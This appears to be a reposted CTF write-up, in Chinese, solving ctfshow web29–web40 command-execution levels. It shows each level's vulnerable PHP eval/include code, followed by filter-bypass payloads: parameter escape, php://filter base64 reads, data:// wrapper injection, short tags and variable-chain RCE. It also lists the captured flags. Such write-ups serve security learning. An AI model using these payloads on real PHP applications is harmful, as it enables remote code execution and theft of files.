ctfshow web29-web40

命令执行

看清都过滤了些什么!!

知识点:

web34:当;和()被过滤了就用语言结构,一般有echo print isset unset include require

web37:data协议是将后面的字符串当成php代码执行,例如 /?c=data://text/plain,<?php system('cp fla?.php 1.txt');?>

web38:短标签/?c=data://text/plain,<?=system("cp fla* 1.txt");?>

web29(shell指令)

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

分析上面的php代码可知 如果传递了c变量,它将被赋值给变量$c,又因为有正则表达式, 检查变量$c中是否包含字符串"flag"(不区分大小写)

如果变量$c中不包含字符串"flag",则执行eval($c);,将$c作为PHP代码进行解析和执行

试了?c=任意字符不对

1.查看phpinfo

phpinfo() 是 PHP 中的一个函数,用于显示 PHP 运行环境的配置信息。该函数可以显示 PHP 的版本信息、编译器信息、模块信息、配置信息等,可以帮助开发者了解 PHP 的运行环境和配置信息。

/?c=phpinfo();
/?c=phpinfo()?>

2.查看目录

system

/?c=system(ls);

发现存在flag.php

3.尝试使用shell指令查看flag

///将flag.php复制到1.txt

执行后无回显

?c=system("cp fla?.php 1.txt");

查看flag

/1.txt

web30(exec)

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{ highlight_file(__FILE__);
}

过滤了flag,system,php

解法一:

这里用exec执行函数,虽然exec对执行结果不输出,但是不代表不可以查看flag,这里用函数执行复制(将flag复制给1.txt,直接用浏览器访问1.txt),由于flag被过滤,这里用通配符表示

/?c=exec('cp fla* 1.txt');

用passthru函数执行命令 也可以查看目录

/?c=passthru('ls');

下面这个也可以查出目录,注意是``` 不是'''

/?c=echo `ls`;

方法二:

/?c=echo `cat ????.???`;

但没有返回结果,可能是php文件将flag当变量解析了

类似于这样

同样将原本的flag.php重命名

/?c=echo `cat ????.??? >> 1.txt`;

再查看1.txt就有flag了回显了

知识点:

直接/?c=`cp fla?.??? 1.ttx`;也是可以的``相当于system

php执行系统外部命令函数:exec()、passthru()、system()、shell_exec()
web31

代码审计

php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag system php cat sort shell \. 空格 \'

空格都过滤了

做题思路就是绕过过滤

嵌套异或逃逸:eval()

&符号作为连接并且,使用get的1作为一个参数,传给c,再给1一个赋值,这样就可以跳过对c的过滤。

这里1就相当于参数逃逸出去了,不属于c

eval() 函数用来执行一个字符串表达式,并返回表达式的值。 无回显

/?c=eval($_GET[1]);&1=system('ls');

下一步

/?c=eval($_GET[1]);&1=system('cat flag.php');

还是无回显,源代码中查看

还可以用cat的倒叙tac

/?c=eval($_GET[1]);&1=system('tac flag.php');

会直接显示在页面不用查看源代码

相当于借助了一个跳板,让他执行参数1的值,参数1就脱离了对参数c的正则判断

web32

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"

绕过flag 、system、php、cat、sort、shell、. 、空格、’、` 、echo、;、括号

括号也被过滤了,web31的方法行不通

文件包含include()

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

php://filter/convert.base64-encode/resource是过滤器也是伪协议,意思是通过指定的通道来读取某个文件

分析:

?c=include%0a$_GET[1]?>:通过GET请求传递参数"c",并使用include函数来包含指定的文件。在这个payload中,使用"%0a"来表示换行符"\n",使得$_GET[1]能够被解析为一个新的变量。最终的目的是执行从GET参数"1"中获取的文件路径。

1=php://filter/convert.base64-encode/resource=flag.php:使用GET请求传递参数"1",该参数的值为php://filter/convert.base64-encode/resource=flag.php。这是一种特殊的文件包含方式,其中php://filter用于对文件进行过滤和转换,convert.base64-encode表示将文件内容进行Base64编码,而resource=flag.php指定了要读取的文件为flag.php。

二者用&连接,参数"1"可变,前后要一致

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

利用文件包含,将flag.php包含进来。再使用过滤器,base64编码读取flag

filter:通过指定的通道来读取指定的文件
这里使用base64读取
不用base64读不到源文件

之后base64解码

ctfshow{8056c2ba-9a09-4b94-acdd-20c2030d6e2e}
web33

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了

绕过 flag system php cat sort shell . ’ ` echo ; ( " 空格的过滤

同web32,既然过滤了括号就用include(文件包含)

(注意一个自己经常犯的错误就是将0输成字母o)

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

得到base64编码后解码

flag

ctfshow{1a7bb049-5a66-4b3b-bdd5-a18fdc588e86}

也可以不用include

require
/?c=require%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag system php cat shell sort . ’ ` echo ; : "

过滤了括号,同web32用include

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

base64解码得flag

ctfshow{7772b93d-741a-4162-bce5-2715b5f968da}
web35

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了 flag system php cat sort shell . 空格 ' ` echo ;( : " < =

这次多了<=

同web34用include

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

base64编码解码得flag

ctfshow{bd3a8999-bebb-4891-b65c-71cfce527138}
web36

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag system php cat sort shell . 空格 ' ` echo ; ( : "< = / [0-9]

数字也被过滤了,但在web32中提过,参数1是可变的,前后一致即可

还是用include

将参数1换成参数a
/?c=include%0A$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

base64解码

33360a68-e0fd-40dc-8d5e-4a8a28ef3cc1
web37

代码审计

<?php
//flag in flag.php 
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

题目 说flag in flag.php ,并且使用include包含输入

过滤了flag

新知识:

data协议:

text/plain,<?php system(‘命令’);?>

将后面的字符串当php代码执行

/?c=data://text/plain,<?php system('cp fla?.php 1.txt');?>

将flag.php的内容复制到1.txt中,也可以mv fla?.php 1.txt

查看1.txt

ctfshow{1cf13af4-3a5e-4440-aeb8-0e19523c36c7}

知识点:data伪协议的利用

web38

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}

过滤了flag php file

试了/?c=data://text/plain,<?php system("cp fla* 1.txt");?>

对啊 php被过滤了

将php换成= 变成短标签

/?c=data://text/plain,<?=system("cp fla* 1.txt");?>

查看1.txt拿到flag

ctfshow{fb22ff01-0402-4424-a89a-13f32d3d12e4}
web39

代码审计

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}

过滤了flag

用data协议

/?c=data://text/plain,<?php system("ls");?>

tac 反向输出flag

/?c=data://text/plain,<?php system("tac fla?.php");?>

ctfshow{fbb2671b-e664-4f62-850e-6d76c00ccfc6}

看着有点眼熟,方法跟web37一样

php代码上有一点点不一样

include($c); echo $flag; 和include($c.".php");

web40

代码审计

<?php
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 

过滤了[0-9] ~ ` @ # \$ % ^ & * ( ) - = + { [ ] } : ' " , < . > / ? \\

一眼看去过滤了好多符号,没有过滤字母

有提示:show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
passid=ls

提示就有payload:

/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

ctfshow{e4d160e6-924f-4e8d-bd4f-fd3084875a3c}

自己的方法:

拿到当前的变量

/?c=print_r(get_defined_vars());

有点不一样

/?c=print_r(next(get_defined_vars()));

/?c=print(array_pop(next(get_defined_vars())));

显示php版本

让他执行一下

/?c=eval(array_pop(next(get_defined_vars())));

博主是可以出来的,但我不可以

执行成功可以rce

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/3216.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JVM学习笔记(四)类加载与字节码技术

目录 一、类文件结构 二、字节码指令 2.3 图解方法执行流程 1&#xff09;原始 java 代码 2&#xff09;编译后的字节码文件 3&#xff09;常量池载入运行时常量池 4&#xff09;方法字节码载入方法区 5&#xff09;main 线程开始运行&#xff0c;分配栈帧内存 6&…

甘特图是什么?如何利用其优化项目管理流程?

甘特图是项目管理软件中十分常见的功能&#xff0c;可以说每一个项目经理都要学会使用甘特图才能更好的交付项目。什么是甘特图&#xff1f;甘特图用来做什么&#xff1f;简单来说一种将项目任务与时间关系直观表示的图表&#xff0c;直观地展示了任务进度和持续时间。 一、甘特…

【C++】string类的增删改查模拟实现(图例超详细解析!!!)

目录 一、前言 二、string类的模拟实现 ✨前情提要 ✨Member functions —— 成员函数 ⚡构造函数 ⚡拷贝构造函数 ⚡赋值运算符重载 ⚡析构函数 ✨Element access —— 元素访问 ⚡operator[ ] ⚡Iterator —— 迭代器 ✨Capacity —— 容量 ⚡size ⚡capacity ⚡clea…

井字棋源码(网络线程池版)

源码链接&#xff1a;game 效果可能没有那么好&#xff0c;大家可以给点建议。 效果展示 game.h #include <stdio.h> #include <stdlib.h> #include <time.h>#define ROW 3 #define COL 3void InitBoard(char board[ROW][COL], int row, int col) {int i…

企业数字化转型,“业务”先行

在当今时代&#xff0c;数字化转型已经成为企业发展的必经之路。数字化转型&#xff0c;简而言之&#xff0c;就是运用数字技术&#xff0c;对企业运营管理的各个环节进行深度改造&#xff0c;以提升企业的运营效率和市场竞争力。据有关机构研究测算&#xff0c;数字化转型可使…

丈母娘眼中“靠谱女婿”职业榜曝光,公务员跌落榜首,新兴职业成宠儿!

正如婆婆和媳妇相处很复杂&#xff0c;丈母娘和女婿亦有着微妙关系&#xff0c;看对眼是“半个儿”&#xff0c;不对付则会成为小两口婚姻的“地雷”&#xff0c;甚至是恋爱路上的“拦路虎”。 近来&#xff0c;最新丈母娘认可的“靠谱女婿”职业榜排行新鲜出炉&#xff0c;备受…

5g工业数采网关是什么?-天拓四方

随着工业4.0时代的到来&#xff0c;数字化、网络化、智能化成为工业发展的新趋势。在这个过程中&#xff0c;5G工业数采网关作为一种关键设备&#xff0c;发挥着越来越重要的作用。本文将详细解析5G工业数采网关是什么&#xff0c;以及它在工业领域中的应用和重要性。 一、5G工…

socket套接字在tcp客户端与tcp服务器之间的通信,以及socket中常用的高效工具epoll

1.socket&#xff08;套接字&#xff09;的概念 Socket是对TCP/IP协议的封装&#xff0c;Socket本身并不是协议&#xff0c;而是一个调用接口&#xff08;API&#xff09;&#xff0c;通过Socket&#xff0c;我们才能使用TCP/IP协议,主要利用三元组【ip地址&#xff0c;协议&am…

【芯片科普】运算放大器用作比较器的注意事项

运算放大器和比较器 比较器和运算放大器电气符号非常相像&#xff0c;都是有反相、同相两个输入端和一个输出端的器件&#xff0c;输出端的输出电压范围一般在供电的轨到轨之间&#xff1b;同时比较器和运算放大器都具有低偏置电压、高增益和高共模抑制比的特点。 图1 运算放…

自由场、半自由场、扩散场

按声场性质可以将声场分为三类&#xff1a;自由声场、半自由声场、扩散声场 分别对应着全消声室&#xff0c;半消声室&#xff0c;混响室 自由声场&#xff1a; 声源在均匀、各向同性媒介中传播时&#xff0c;不计边界影响的声场&#xff0c;此时声场中只有直达声没有反射声。…

测试工程师面试准备(软硬件)

您好&#xff0c;我叫XXX。学历XX&#xff0c;XXX专业毕业。X年X月份毕业&#xff0c;但是去年二月份已经找到工作开始实习了&#xff0c;目前工作一年了&#xff0c;这一年的过程中我主要负责软件的开发和测试和软硬件联调测试工作。具体来说就是&#xff0c;在软件开发完成后…

华为 2024 届实习校园招聘-硬件通⽤/单板开发——第八套

华为 2024 届实习校园招聘-硬件通⽤/单板开发——第八套 部分题目分享&#xff0c;完整版带答案(有答案和解析&#xff0c;答案非官方&#xff0c;未仔细校正&#xff0c;仅供参考&#xff09;&#xff08;共十套&#xff09;获取&#xff08;WX:didadidadidida313&#xff0c…

Qwen1.5微调

引子 由于工作上需要&#xff0c;一直在用Qwen做大模型推理&#xff0c;有个再训练的需求&#xff0c;特此琢磨下Qwen的训练。OK&#xff0c;我们开始吧。 一、安装环境 查看显卡驱动版本 根据官网推荐 OK&#xff0c;docker在手&#xff0c;天下我有。 docker pull qwenll…

rancher-rke2 修改--service-cluster-ip-range

一、场景 因为需要部署新版本的ingress-nginx&#xff0c;而部署ingress-nginx的时候需要使用hostnetowrk以及nodeport的端口为80和443&#xff0c;service-node-port-range 默认为30000开始,部署会报错。 二、产生修改的需求 1、api-servier的配置文件位置 默认是没有的&…

LabVIEW学习记录 - 实时显示时间

LabVIEW操作 - 实时显示时间 在程序框图&#xff0c;选择函数->定时->格式化日期/时间字符串 该函数的使用手册说明&#xff1a; 鼠标选择“格式化日期/时间字符串”->创建->输入控件->输入格式 查看时间代码格式&#xff1a; 编程->定时->获取时间日…

Linux交换空间的创建使用

交换空间&#xff1a; 换出&#xff1a;将内存中不常用&#xff08;冷数据&#xff09;的放去硬盘里 换出&#xff1a;内存要使用这部分数据时&#xff0c;将硬盘的这部分数据放入内存 在内存和硬盘上用来交换数据的空间就是交换空间 创建交换空间的步骤 1.去磁盘上创建一个分…

C语言 | Leetcode C语言题解之第47题全排列II

题目&#xff1a; 题解&#xff1a; int* vis;void backtrack(int* nums, int numSize, int** ans, int* ansSize, int idx, int* perm) {if (idx numSize) {int* tmp malloc(sizeof(int) * numSize);memcpy(tmp, perm, sizeof(int) * numSize);ans[(*ansSize)] tmp;return…

OssUtil工具上传文件

安装、上传、下载 1. 安装ossutil sudo -v ; curl https://gosspublic.alicdn.com/ossutil/install.sh | sudo bash2. 配置ossutil ossutil config3. 验证是否已成功安装ossutil ossutil 如果屏幕中输出ossutil所有支持的命令&#xff0c;表明已成功安装ossutil。# 完整上传 os…

ruoyi-nbcio-plus基于vue3的flowable修正加签与跳转的前端问题

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 http://122.227.135.243:9666/ 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a…

idea 中导入的项目maven不自动下载依赖包

导入之后不会自动引入依赖包&#xff0c;如下图&#xff0c;external libraries 下没有依赖 解决方案&#xff1a;重新更新下maven的Local repository 即可